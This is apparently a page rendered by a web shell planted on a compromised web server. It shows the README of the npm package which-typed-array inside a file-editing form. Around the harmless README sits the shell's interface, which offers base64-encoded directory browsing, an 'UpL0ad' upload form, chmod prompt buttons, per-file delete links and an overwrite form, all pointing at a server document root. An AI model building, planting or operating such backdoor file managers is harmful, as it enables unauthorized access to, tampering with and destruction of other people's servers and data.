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<hr>README.md<form method=post action="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS13aGljaC10eXBlZC1hcnJheQ%3D%3D&f=UkVBRE1FLm1k"><input name="f" value="README.md"><textarea name="t"># which-typed-array &lt;sup&gt;[![Version Badge][npm-version-svg]][package-url]&lt;/sup&gt;

[![github actions][actions-image]][actions-url]
[![coverage][codecov-image]][codecov-url]
[![dependency status][deps-svg]][deps-url]
[![dev dependency status][dev-deps-svg]][dev-deps-url]
[![License][license-image]][license-url]
[![Downloads][downloads-image]][downloads-url]

[![npm badge][npm-badge-png]][package-url]

Which kind of Typed Array is this JavaScript value? Works cross-realm, without `instanceof`, and despite Symbol.toStringTag.

## Example

```js
var whichTypedArray = require('which-typed-array');
var assert = require('assert');

assert.equal(false, whichTypedArray(undefined));
assert.equal(false, whichTypedArray(null));
assert.equal(false, whichTypedArray(false));
assert.equal(false, whichTypedArray(true));
assert.equal(false, whichTypedArray([]));
assert.equal(false, whichTypedArray({}));
assert.equal(false, whichTypedArray(/a/g));
assert.equal(false, whichTypedArray(new RegExp('a', 'g')));
assert.equal(false, whichTypedArray(new Date()));
assert.equal(false, whichTypedArray(42));
assert.equal(false, whichTypedArray(NaN));
assert.equal(false, whichTypedArray(Infinity));
assert.equal(false, whichTypedArray(new Number(42)));
assert.equal(false, whichTypedArray('foo'));
assert.equal(false, whichTypedArray(Object('foo')));
assert.equal(false, whichTypedArray(function () {}));
assert.equal(false, whichTypedArray(function* () {}));
assert.equal(false, whichTypedArray(x =&gt; x * x));
assert.equal(false, whichTypedArray([]));

assert.equal('Int8Array', whichTypedArray(new Int8Array()));
assert.equal('Uint8Array', whichTypedArray(new Uint8Array()));
assert.equal('Uint8ClampedArray', whichTypedArray(new Uint8ClampedArray()));
assert.equal('Int16Array', whichTypedArray(new Int16Array()));
assert.equal('Uint16Array', whichTypedArray(new Uint16Array()));
assert.equal('Int32Array', whichTypedArray(new Int32Array()));
assert.equal('Uint32Array', whichTypedArray(new Uint32Array()));
assert.equal('Float32Array', whichTypedArray(new Float32Array()));
assert.equal('Float64Array', whichTypedArray(new Float64Array()));
assert.equal('BigInt64Array', whichTypedArray(new BigInt64Array()));
assert.equal('BigUint64Array', whichTypedArray(new BigUint64Array()));
```

## Tests
Simply clone the repo, `npm install`, and run `npm test`

[package-url]: https://npmjs.org/package/which-typed-array
[npm-version-svg]: https://versionbadg.es/inspect-js/which-typed-array.svg
[deps-svg]: https://david-dm.org/inspect-js/which-typed-array.svg
[deps-url]: https://david-dm.org/inspect-js/which-typed-array
[dev-deps-svg]: https://david-dm.org/inspect-js/which-typed-array/dev-status.svg
[dev-deps-url]: https://david-dm.org/inspect-js/which-typed-array#info=devDependencies
[npm-badge-png]: https://nodei.co/npm/which-typed-array.png?downloads=true&amp;stars=true
[license-image]: https://img.shields.io/npm/l/which-typed-array.svg
[license-url]: LICENSE
[downloads-image]: https://img.shields.io/npm/dm/which-typed-array.svg
[downloads-url]: https://npm-stat.com/charts.html?package=which-typed-array
[codecov-image]: https://codecov.io/gh/inspect-js/which-typed-array/branch/main/graphs/badge.svg
[codecov-url]: https://app.codecov.io/gh/inspect-js/which-typed-array/
[actions-image]: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/inspect-js/which-typed-array
[actions-url]: https://github.com/inspect-js/which-typed-array/actions
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/node-which-typed-array<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS13aGljaC10eXBlZC1hcnJheQ=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS13aGljaC10eXBlZC1hcnJheQ==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2M="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS13aGljaC10eXBlZC1hcnJheQ==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>77824</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS13aGljaC10eXBlZC1hcnJheQ==&x=UkVBRE1FLm1k">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS13aGljaC10eXBlZC1hcnJheQ==&f=UkVBRE1FLm1k"/>README.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS13aGljaC10eXBlZC1hcnJheQ==&f=UkVBRE1FLm1k&c=`+btoa(c):0" value="0644"></td><td>3468</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS13aGljaC10eXBlZC1hcnJheQ==&x=Y29weXJpZ2h0">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS13aGljaC10eXBlZC1hcnJheQ==&f=Y29weXJpZ2h0"/>copyright</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS13aGljaC10eXBlZC1hcnJheQ==&f=Y29weXJpZ2h0&c=`+btoa(c):0" value="0644"></td><td>6690</td></tr></table>